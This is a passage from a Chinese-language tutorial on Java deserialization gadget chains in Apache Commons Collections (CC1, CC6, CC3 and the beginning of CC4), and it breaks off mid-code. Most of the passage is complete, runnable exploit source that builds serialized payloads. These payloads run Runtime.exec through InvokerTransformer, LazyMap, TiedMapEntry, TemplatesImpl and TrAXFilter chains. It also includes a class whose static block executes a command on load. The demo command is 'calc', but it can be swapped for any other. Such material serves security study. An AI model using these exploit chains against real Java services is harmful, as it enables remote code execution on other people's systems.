有一个绝佳的反射机制,构造一下:

Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

现在还有个小问题,其中我们的transformedmap是传入了一个
invokertransformer
,但是现在这个对象没有了,被拆成了多个,就是上述四段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去寻找,找到
ChainedTransformer
,刚好这个方法是递归调用数组里的transform方法

我们就可以这样构造:

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

到这一步雏形以及可以构造出来了

package com.f12;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

但是这里反序列化并不能执行命令,why?原因在于
AnnotationInvocationHandler
里触发setValue是有条件的,我们调试追踪进去看看:

要想触发setValue得先过两个if判断,先看第一个if判断,memberType不能为null,memberType其实就是我们之前传入的注解类Target的一个属性,这个属性哪里来的?就是我们最先传入的map
map.put("1","2")
获取这个name:1,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类

Target是有value这个属性的,所以我们改一下map,
map.put("value", 1)
,这样就过了第一个if,接着往下看第二个if,这里value只要有值就过了,成功到达setValue,但这里还有最后一个问题,如何让他调用Runtime.class?这里又得提到一个类,
ConstantTransformer
,这个类的特点就是我们传入啥,它直接就返回啥

这样就能构造最终的exp:

package com.f12;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","1");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

成功执行

以上是其中一条CC1,还有另一条CC1,是从LazyMap入手,我们也来分析一下,在LazyMap的get方法里调用了transform

看构造方法,factory需要我们控制,同样在类内部找哪里调用了这个构造方法

很明显,跟之前基本相似,就是从checkValue换到了get

那么get在哪调用的,还是在
AnnotationInvocationHandler
,它的invoke方法调用了get

 public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

这里是个动态代理,我们可以用
AnnotationInvocationHandler
来代理LazyMap,这样就会触发invoke方法,构造一下exp(基本大差不差):

package com.f12;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        deserialize("cc1_lazymap.bin");
    }
}

魂牵梦绕CC6

CC6不受jdk版本限制,算是一条最常用的CC链
这是Ysoserial上的CC6,可以看到后半部分没变,从LazyMap.get开始通过TiedMapEntry.getValue来调用了,我们追踪一下

TiedMapEntry.getValue调用了map.get

看构造函数,map,key我们都能控制

找getValue方法在哪调用,TiedMapEntry自身的hashCode方法调用了,看到这个hashCode是不是很眼熟,没错,我们研究URLDNS的时候就是用到这里,那么显而易见,我们前面的就是HashMap了

构造exp,注意这里跟URLDNS有相同的问题,hashMap.put的时候就触发了hash方法也同时调用了hashCode,所以直接就执行命令了,还是同样的手法将某些值改一下就行了

package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc6.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);
        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, chainedTransformer);
        serialize(hashMap);
        deserialize("cc6.bin");
    }
}

但是这里奇怪的是还是没法弹计算器,我们调试一下看看,发现是LazyMap.get这里的问题,这里有一个if判断,我们这个map没有给值,在hashMap.put触发后给put进去一个null的键,第二次触发的之前我们把这个键删掉就行了。

package com.f12;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc6.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);
        map.remove(null);
        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, chainedTransformer);
        serialize(hashMap);
        deserialize("cc6.bin");
    }
}

ok,拿下CC6

有一说一CC3

CC3就跟前两条链不太一样了,CC1与CC6都是执行命令,而CC3是执行静态代码块,CC3采用的是动态加载类,也就是利用了
defineClass
,我们搜索哪些类有
defineClass
,找到这个
TemplatesImpl
,这玩意厉害的很,以后还有很多地方用到

继续跟进,在
defineTransletClasses
方法中调用了defineClass

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

这里有几个判断得注意,首先是
_bytecodes
不能为null,然后就是
_tfactory
不能为null,不过
_tfactory
在readObject方法里被赋值了,因此不用管,继续跟进看谁调用了
defineTransletClasses
,看
getTransletInstance
,得绕过第一个if判断,所以得反射赋值给
__name

继续跟进看谁调用了
getTransletInstance
,现在基本有一个构造思路了,new 一个
TemplateIml
对象,然后调用newTransformer方法,从而去defineClass

由于还没序列化,所以先手动给
_tfactory
赋值,不过运行后报了个空指针错误

package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc6.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Transformer transformer = templates.newTransformer();
    }
}
package com.f12;

import java.io.IOException;

public class Eval {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) {

    }
}

调试发现在这由于if判断没过,导致进去这个空指针错误,继续反射修改ABSTRACT_TRANSLET的值就ok,或则让恶意类Eval继承这个ABSTRACT_TRANSLET所指向的类

成功弹出计算器

package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc6.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
        Transformer transformer = templates.newTransformer();
    }
}

最后的问题是如何去序列化,可以看到Transformer这个类,我们可以结合CC1或者CC6

package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        deserialize("cc3.bin");
    }
}
package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);
        map.remove(null);
        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, chainedTransformer);
        serialize(hashMap);
        deserialize("cc3.bin");
    }
}

完美收官,分析一下yso的CC3,又有所不同,可以看到它在Transformer[]里调用的是
InstantiateTransformer
,还引入了
TrAXFilter
这个类,我们追踪一下

首先
TrAXFilter
中会调用newTransformer

再看
InstantiateTransformer
的transform方法,获取构造器,再实例化,刚好可以触发
TrAXFilter

package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc3.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//        Transformer transformer = templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
        Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = constructor.newInstance(Target.class, newMap);
        serialize(o);
        deserialize("cc3.bin");
    }
}

OK,完美解决

心不在焉CC4

CC4需要commoncollection4的依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

CC4其实就是CC3的前半部分,在修改了一下后部分的一些操作,不是像CC1,CC6那样使用LazyMap来触发transform了,所以得换其它类,such as
TransformingComparator
,这是commoncollection4里的类,我们跟进一下,compare这里调用了transform

继续跟进,看哪调用了compare,
PriorityQueue


跟进

继续跟进

完美

构造exp:

package com.f12;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc4.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
        ABSTRACT_TRANSLET.setAccessible(true);
        ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
